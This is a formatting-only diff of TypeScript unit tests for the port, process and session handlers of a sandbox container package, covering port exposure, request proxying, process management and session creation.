@@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { PortCloseResult, PortExposeResult, - PortListResult, + PortListResult } from '@repo/shared'; import type { ErrorResponse } from '@repo/shared/errors'; -import type { Logger, PortInfo, RequestContext } from '@sandbox-container/core/types'; +import type { + Logger, + PortInfo, + RequestContext +} from '@sandbox-container/core/types'; import { PortHandler } from '@sandbox-container/handlers/port-handler'; import type { PortService } from '@sandbox-container/services/port-service'; @@ -18,14 +22,14 @@ const mockPortService = { proxyRequest: vi.fn(), markPortInactive: vi.fn(), cleanupInactivePorts: vi.fn(), - destroy: vi.fn(), + destroy: vi.fn() } as unknown as PortService; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -35,9 +39,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('PortHandler', () => { @@ -61,7 +65,7 @@ describe('PortHandler', () => { port: 8080, name: 'web-server', status: 'active', - exposedAt: new Date('2023-01-01T00:00:00Z'), + exposedAt: new Date('2023-01-01T00:00:00Z') }; (mockPortService.exposePort as any).mockResolvedValue({ @@ -78,14 +82,17 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as PortExposeResult; + const responseData = (await response.json()) as PortExposeResult; expect(responseData.success).toBe(true); expect(responseData.port).toBe(8080); expect(responseData.url).toBe('http://localhost:8080'); expect(responseData.timestamp).toBeDefined(); // Verify service was called correctly - expect(mockPortService.exposePort).toHaveBeenCalledWith(8080, 'web-server'); + expect(mockPortService.exposePort).toHaveBeenCalledWith( + 8080, + 'web-server' + ); }); it('should expose port without name', async () => { @@ -97,7 +104,7 @@ describe('PortHandler', () => { const mockPortInfo: PortInfo = { port: 3000, status: 'active', - exposedAt: new Date('2023-01-01T00:00:00Z'), + exposedAt: new Date('2023-01-01T00:00:00Z') }; (mockPortService.exposePort as any).mockResolvedValue({ @@ -114,7 +121,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as PortExposeResult; + const responseData = (await response.json()) as PortExposeResult; expect(responseData.port).toBe(3000); expect(responseData.url).toBe('http://localhost:3000'); expect(responseData.timestamp).toBeDefined(); @@ -143,7 +150,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('INVALID_PORT'); expect(responseData.message).toBe('Port 80 is reserved'); expect(responseData.httpStatus).toBe(400); @@ -170,7 +177,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(409); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PORT_ALREADY_EXPOSED'); expect(responseData.message).toBe('Port 8080 is already exposed'); expect(responseData.httpStatus).toBe(409); @@ -184,14 +191,17 @@ describe('PortHandler', () => { success: true }); - const request = new Request('http://localhost:3000/api/exposed-ports/8080', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/exposed-ports/8080', + { + method: 'DELETE' + } + ); const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as PortCloseResult; + const responseData = (await response.json()) as PortCloseResult; expect(responseData.success).toBe(true); expect(responseData.port).toBe(8080); expect(responseData.timestamp).toBeDefined(); @@ -208,14 +218,17 @@ describe('PortHandler', () => { } }); - const request = new Request('http://localhost:3000/api/exposed-ports/8080', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/exposed-ports/8080', + { + method: 'DELETE' + } + ); const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PORT_NOT_EXPOSED'); expect(responseData.message).toBe('Port 8080 is not exposed'); expect(responseData.httpStatus).toBe(404); @@ -223,14 +236,17 @@ describe('PortHandler', () => { }); it('should handle invalid port numbers in URL', async () => { - const request = new Request('http://localhost:3000/api/exposed-ports/invalid', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/exposed-ports/invalid', + { + method: 'DELETE' + } + ); const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid port endpoint'); expect(responseData.httpStatus).toBe(500); @@ -241,14 +257,17 @@ describe('PortHandler', () => { }); it('should handle unsupported methods on exposed-ports endpoint', async () => { - const request = new Request('http://localhost:3000/api/exposed-ports/8080', { - method: 'GET' // Not supported for individual ports - }); + const request = new Request( + 'http://localhost:3000/api/exposed-ports/8080', + { + method: 'GET' // Not supported for individual ports + } + ); const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid port endpoint'); expect(responseData.httpStatus).toBe(500); @@ -263,13 +282,13 @@ describe('PortHandler', () => { port: 8080, name: 'web-server', status: 'active', - exposedAt: new Date('2023-01-01T00:00:00Z'), + exposedAt: new Date('2023-01-01T00:00:00Z') }, { port: 3000, name: 'api-server', status: 'active', - exposedAt: new Date('2023-01-01T00:01:00Z'), + exposedAt: new Date('2023-01-01T00:01:00Z') } ]; @@ -285,7 +304,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as PortListResult; + const responseData = (await response.json()) as PortListResult; expect(responseData.success).toBe(true); expect(responseData.ports).toHaveLength(2); expect(responseData.ports[0].port).toBe(8080); @@ -311,7 +330,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as PortListResult; + const responseData = (await response.json()) as PortListResult; expect(responseData.success).toBe(true); expect(responseData.ports).toHaveLength(0); expect(responseData.timestamp).toBeDefined(); @@ -333,7 +352,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PORT_LIST_ERROR'); expect(responseData.message).toBe('Database error'); expect(responseData.httpStatus).toBe(500); @@ -348,11 +367,13 @@ describe('PortHandler', () => { headers: { 'Content-Type': 'text/html' } }); - (mockPortService.proxyRequest as any).mockResolvedValue(mockProxyResponse); + (mockPortService.proxyRequest as any).mockResolvedValue( + mockProxyResponse + ); const request = new Request('http://localhost:3000/proxy/8080/api/data', { method: 'GET', - headers: { 'Authorization': 'Bearer token' } + headers: { Authorization: 'Bearer token' } }); const response = await portHandler.handle(request, mockContext); @@ -371,14 +392,19 @@ describe('PortHandler', () => { headers: { 'Content-Type': 'application/json' } }); - (mockPortService.proxyRequest as any).mockResolvedValue(mockProxyResponse); + (mockPortService.proxyRequest as any).mockResolvedValue( + mockProxyResponse + ); const requestBody = JSON.stringify({ data: 'test' }); - const request = new Request('http://localhost:3000/proxy/3000/api/create', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: requestBody - }); + const request = new Request( + 'http://localhost:3000/proxy/3000/api/create', + { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: requestBody + } + ); const response = await portHandler.handle(request, mockContext); @@ -395,7 +421,9 @@ describe('PortHandler', () => { headers: { 'Content-Type': 'application/json' } }); - (mockPortService.proxyRequest as any).mockResolvedValue(mockErrorResponse); + (mockPortService.proxyRequest as any).mockResolvedValue( + mockErrorResponse + ); const request = new Request('http://localhost:3000/proxy/9999/api/data', { method: 'GET' @@ -416,7 +444,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid port number in proxy URL'); expect(responseData.httpStatus).toBe(500); @@ -427,14 +455,17 @@ describe('PortHandler', () => { }); it('should handle invalid port number in proxy URL', async () => { - const request = new Request('http://localhost:3000/proxy/invalid-port/api/data', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/proxy/invalid-port/api/data', + { + method: 'GET' + } + ); const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid port number in proxy URL'); expect(responseData.httpStatus).toBe(500); @@ -454,7 +485,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Connection refused'); expect(responseData.httpStatus).toBe(500); @@ -471,7 +502,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Proxy request failed'); expect(responseData.httpStatus).toBe(500); @@ -481,14 +512,17 @@ describe('PortHandler', () => { describe('route handling', () => { it('should return 500 for invalid endpoints', async () => { - const request = new Request('http://localhost:3000/api/invalid-endpoint', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/invalid-endpoint', + { + method: 'GET' + } + ); const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid port endpoint'); expect(responseData.httpStatus).toBe(500); @@ -503,7 +537,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid port endpoint'); expect(responseData.httpStatus).toBe(500); @@ -512,7 +546,9 @@ describe('PortHandler', () => { it('should handle root proxy path', async () => { const mockProxyResponse = new Response('Root page'); - (mockPortService.proxyRequest as any).mockResolvedValue(mockProxyResponse); + (mockPortService.proxyRequest as any).mockResolvedValue( + mockProxyResponse + ); const request = new Request('http://localhost:3000/proxy/8080/', { method: 'GET' @@ -540,8 +576,12 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, DELETE, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, DELETE, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should include CORS headers in error responses', async () => { @@ -552,7 +592,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); }); @@ -560,11 +600,16 @@ describe('PortHandler', () => { describe('URL parsing edge cases', () => { it('should handle ports with leading zeros', async () => { - const request = new Request('http://localhost:3000/api/exposed-ports/008080', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/exposed-ports/008080', + { + method: 'DELETE' + } + ); - (mockPortService.unexposePort as any).mockResolvedValue({ success: true }); + (mockPortService.unexposePort as any).mockResolvedValue({ + success: true + }); const response = await portHandler.handle(request, mockContext); @@ -574,9 +619,12 @@ describe('PortHandler', () => { }); it('should handle very large port numbers', async () => { - const request = new Request('http://localhost:3000/api/exposed-ports/999999', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/exposed-ports/999999', + { + method: 'DELETE' + } + ); (mockPortService.unexposePort as any).mockResolvedValue({ success: false, @@ -586,7 +634,7 @@ describe('PortHandler', () => { const response = await portHandler.handle(request, mockContext); expect(response.status).toBe(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('INVALID_PORT'); expect(responseData.message).toBe('Invalid port range'); expect(responseData.httpStatus).toBe(400); @@ -596,11 +644,16 @@ describe('PortHandler', () => { it('should handle complex proxy paths with query parameters', async () => { const mockProxyResponse = new Response('Query result'); - (mockPortService.proxyRequest as any).mockResolvedValue(mockProxyResponse); + (mockPortService.proxyRequest as any).mockResolvedValue( + mockProxyResponse + ); - const request = new Request('http://localhost:3000/proxy/8080/api/search?q=test&page=1', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/proxy/8080/api/search?q=test&page=1', + { + method: 'GET' + } + ); const response = await portHandler.handle(request, mockContext); diff --git a/packages/sandbox-container/tests/handlers/process-handler.test.ts b/packages/sandbox-container/tests/handlers/process-handler.test.ts index 95c8a1e8..92d76d25 100644 --- a/packages/sandbox-container/tests/handlers/process-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/process-handler.test.ts @@ -1,6 +1,6 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { - ProcessCleanupResult, + ProcessCleanupResult, ProcessInfoResult, ProcessKillResult, ProcessListResult, @@ -9,7 +9,11 @@ import type { StartProcessRequest } from '@repo/shared'; import type { ErrorResponse } from '@repo/shared/errors'; -import type { Logger, ProcessInfo, RequestContext } from '@sandbox-container/core/types'; +import type { + Logger, + ProcessInfo, + RequestContext +} from '@sandbox-container/core/types'; import { ProcessHandler } from '@sandbox-container/handlers/process-handler'; import type { ProcessService } from '@sandbox-container/services/process-service'; @@ -21,14 +25,14 @@ const mockProcessService = { killAllProcesses: vi.fn(), listProcesses: vi.fn(), streamProcessLogs: vi.fn(), - executeCommand: vi.fn(), + executeCommand: vi.fn() } as unknown as ProcessService; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -38,9 +42,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('ProcessHandler', () => { @@ -70,7 +74,7 @@ describe('ProcessHandler', () => { stdout: '', stderr: '', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() }; (mockProcessService.startProcess as any).mockResolvedValue({ @@ -87,7 +91,7 @@ describe('ProcessHandler', () => { const response = await processHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessStartResult; + const responseData = (await response.json()) as ProcessStartResult; expect(responseData.success).toBe(true); expect(responseData.processId).toBe('proc-123'); expect(responseData.pid).toBe(12345); @@ -123,7 +127,7 @@ describe('ProcessHandler', () => { // HTTP status is auto-mapped based on error code expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('COMMAND_NOT_FOUND'); expect(responseData.message).toBe('Command not found'); expect(responseData.httpStatus).toBe(404); @@ -144,7 +148,7 @@ describe('ProcessHandler', () => { stdout: '', stderr: '', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() }, { id: 'proc-2', @@ -158,7 +162,7 @@ describe('ProcessHandler', () => { stdout: '', stderr: '', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() } ]; @@ -174,7 +178,7 @@ describe('ProcessHandler', () => { const response = await processHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessListResult; + const responseData = (await response.json()) as ProcessListResult; expect(responseData.success).toBe(true); expect(responseData.processes).toHaveLength(2); expect(responseData.processes[0].id).toBe('proc-1'); @@ -192,9 +196,12 @@ describe('ProcessHandler', () => { data: [] }); - const request = new Request('http://localhost:3000/api/process/list?sessionId=session-123&status=running', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/list?sessionId=session-123&status=running', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); @@ -224,7 +231,7 @@ describe('ProcessHandler', () => { // HTTP status is auto-mapped based on error code expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Database error'); expect(responseData.httpStatus).toBe(500); @@ -244,7 +251,7 @@ describe('ProcessHandler', () => { stdout: 'Process output', stderr: 'Error output', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() }; (mockProcessService.getProcess as any).mockResolvedValue({ @@ -252,14 +259,17 @@ describe('ProcessHandler', () => { data: mockProcessInfo }); - const request = new Request('http://localhost:3000/api/process/proc-123', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessInfoResult; + const responseData = (await response.json()) as ProcessInfoResult; expect(responseData.success).toBe(true); expect(responseData.process.id).toBe('proc-123'); expect(responseData.timestamp).toBeDefined(); @@ -276,15 +286,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/nonexistent', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/nonexistent', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: PROCESS_NOT_FOUND โ†’ 404 expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_NOT_FOUND'); expect(responseData.message).toBe('Process not found'); expect(responseData.httpStatus).toBe(404); @@ -298,14 +311,17 @@ describe('ProcessHandler', () => { success: true }); - const request = new Request('http://localhost:3000/api/process/proc-123', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123', + { + method: 'DELETE' + } + ); const response = await processHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessKillResult; + const responseData = (await response.json()) as ProcessKillResult; expect(responseData.success).toBe(true); expect(responseData.processId).toBe('proc-123'); expect(responseData.timestamp).toBeDefined(); @@ -322,15 +338,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/proc-123', { - method: 'DELETE' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123', + { + method: 'DELETE' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: PROCESS_ERROR โ†’ 500 expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_ERROR'); expect(responseData.message).toBe('Process already terminated'); expect(responseData.httpStatus).toBe(500); @@ -345,14 +364,17 @@ describe('ProcessHandler', () => { data: 3 // Number of killed processes }); - const request = new Request('http://localhost:3000/api/process/kill-all', { - method: 'POST' - }); + const request = new Request( + 'http://localhost:3000/api/process/kill-all', + { + method: 'POST' + } + ); const response = await processHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessCleanupResult; + const responseData = (await response.json()) as ProcessCleanupResult; expect(responseData.success).toBe(true); expect(responseData.cleanedCount).toBe(3); expect(responseData.timestamp).toBeDefined(); @@ -367,15 +389,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/kill-all', { - method: 'POST' - }); + const request = new Request( + 'http://localhost:3000/api/process/kill-all', + { + method: 'POST' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped based on error code expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Failed to kill processes'); expect(responseData.httpStatus).toBe(500); @@ -395,7 +420,7 @@ describe('ProcessHandler', () => { stdout: 'test output', stderr: 'error output', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() }; (mockProcessService.getProcess as any).mockResolvedValue({ @@ -403,14 +428,17 @@ describe('ProcessHandler', () => { data: mockProcessInfo }); - const request = new Request('http://localhost:3000/api/process/proc-123/logs', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123/logs', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessLogsResult; + const responseData = (await response.json()) as ProcessLogsResult; expect(responseData.success).toBe(true); expect(responseData.processId).toBe('proc-123'); expect(responseData.stdout).toBe('test output'); @@ -427,15 +455,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/nonexistent/logs', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/nonexistent/logs', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: PROCESS_NOT_FOUND โ†’ 404 expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_NOT_FOUND'); expect(responseData.message).toBe('Process not found'); expect(responseData.httpStatus).toBe(404); @@ -455,7 +486,7 @@ describe('ProcessHandler', () => { stdout: 'existing output', stderr: 'existing error', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() }; (mockProcessService.streamProcessLogs as any).mockResolvedValue({ @@ -466,9 +497,12 @@ describe('ProcessHandler', () => { data: mockProcessInfo }); - const request = new Request('http://localhost:3000/api/process/proc-123/stream', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123/stream', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); @@ -500,15 +534,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/proc-123/stream', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123/stream', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped based on error code expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_NOT_FOUND'); expect(responseData.message).toBe('Stream setup failed'); expect(responseData.httpStatus).toBe(404); @@ -527,15 +564,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/proc-123/stream', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123/stream', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: PROCESS_NOT_FOUND โ†’ 404 expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_NOT_FOUND'); expect(responseData.message).toBe('Process not found for streaming'); expect(responseData.httpStatus).toBe(404); @@ -554,15 +594,18 @@ describe('ProcessHandler', () => { } }); - const request = new Request('http://localhost:3000/api/process/invalid-endpoint', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/invalid-endpoint', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: PROCESS_NOT_FOUND โ†’ 404 expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_NOT_FOUND'); expect(responseData.message).toBe('Process not found'); expect(responseData.httpStatus).toBe(404); @@ -586,37 +629,43 @@ describe('ProcessHandler', () => { // HTTP status is auto-mapped: PROCESS_NOT_FOUND โ†’ 404 expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_NOT_FOUND'); expect(responseData.message).toBe('Process not found'); expect(responseData.httpStatus).toBe(404); }); it('should handle unsupported HTTP methods for process endpoints', async () => { - const request = new Request('http://localhost:3000/api/process/proc-123', { - method: 'PUT' // Unsupported method - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123', + { + method: 'PUT' // Unsupported method + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: UNKNOWN_ERROR โ†’ 500 expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid process endpoint'); expect(responseData.httpStatus).toBe(500); }); it('should handle unsupported actions on process endpoints', async () => { - const request = new Request('http://localhost:3000/api/process/proc-123/unsupported-action', { - method: 'GET' - }); + const request = new Request( + 'http://localhost:3000/api/process/proc-123/unsupported-action', + { + method: 'GET' + } + ); const response = await processHandler.handle(request, mockContext); // HTTP status is auto-mapped: UNKNOWN_ERROR โ†’ 500 expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toBe('Invalid process endpoint'); expect(responseData.httpStatus).toBe(500); @@ -637,8 +686,12 @@ describe('ProcessHandler', () => { const response = await processHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, DELETE, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, DELETE, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should include CORS headers in error responses', async () => { diff --git a/packages/sandbox-container/tests/handlers/session-handler.test.ts b/packages/sandbox-container/tests/handlers/session-handler.test.ts index 2e8a1791..dfc8e01e 100644 --- a/packages/sandbox-container/tests/handlers/session-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/session-handler.test.ts @@ -1,4 +1,4 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { ErrorResponse } from '@repo/shared/errors'; import type { Logger, RequestContext } from '@sandbox-container/core/types'; import { SessionHandler } from '@sandbox-container/handlers/session-handler'; @@ -25,14 +25,14 @@ const mockSessionManager = { getSession: vi.fn(), deleteSession: vi.fn(), listSessions: vi.fn(), - destroy: vi.fn(), + destroy: vi.fn() } as unknown as SessionManager; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -42,9 +42,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('SessionHandler', () => { @@ -74,11 +74,14 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseBody = await response.json() as SessionCreateResultGeneric; + const responseBody = + (await response.json()) as SessionCreateResultGeneric; expect(responseBody.success).toBe(true); expect(responseBody.data).toEqual(mockSession); expect(responseBody.timestamp).toBeDefined(); - expect(responseBody.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseBody.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); // Verify service was called correctly expect(mockSessionManager.createSession).toHaveBeenCalled(); @@ -102,10 +105,12 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('SESSION_CREATE_ERROR'); expect(responseData.message).toBe('Failed to create session'); - expect(responseData.context).toEqual({ originalError: 'Store connection failed' }); + expect(responseData.context).toEqual({ + originalError: 'Store connection failed' + }); expect(responseData.httpStatus).toBe(500); expect(responseData.timestamp).toBeDefined(); }); @@ -128,8 +133,10 @@ describe('SessionHandler', () => { const response1 = await sessionHandler.handle(request1, mockContext); const response2 = await sessionHandler.handle(request2, mockContext); - const responseBody1 = await response1.json() as SessionCreateResultGeneric; - const responseBody2 = await response2.json() as SessionCreateResultGeneric; + const responseBody1 = + (await response1.json()) as SessionCreateResultGeneric; + const responseBody2 = + (await response2.json()) as SessionCreateResultGeneric; // Verify both responses are successful and contain session data expect(responseBody1.success).toBe(true); @@ -160,12 +167,14 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseBody = await response.json() as SessionListResult; + const responseBody = (await response.json()) as SessionListResult; expect(responseBody.success).toBe(true); expect(responseBody.data).toEqual(mockSessionIds); 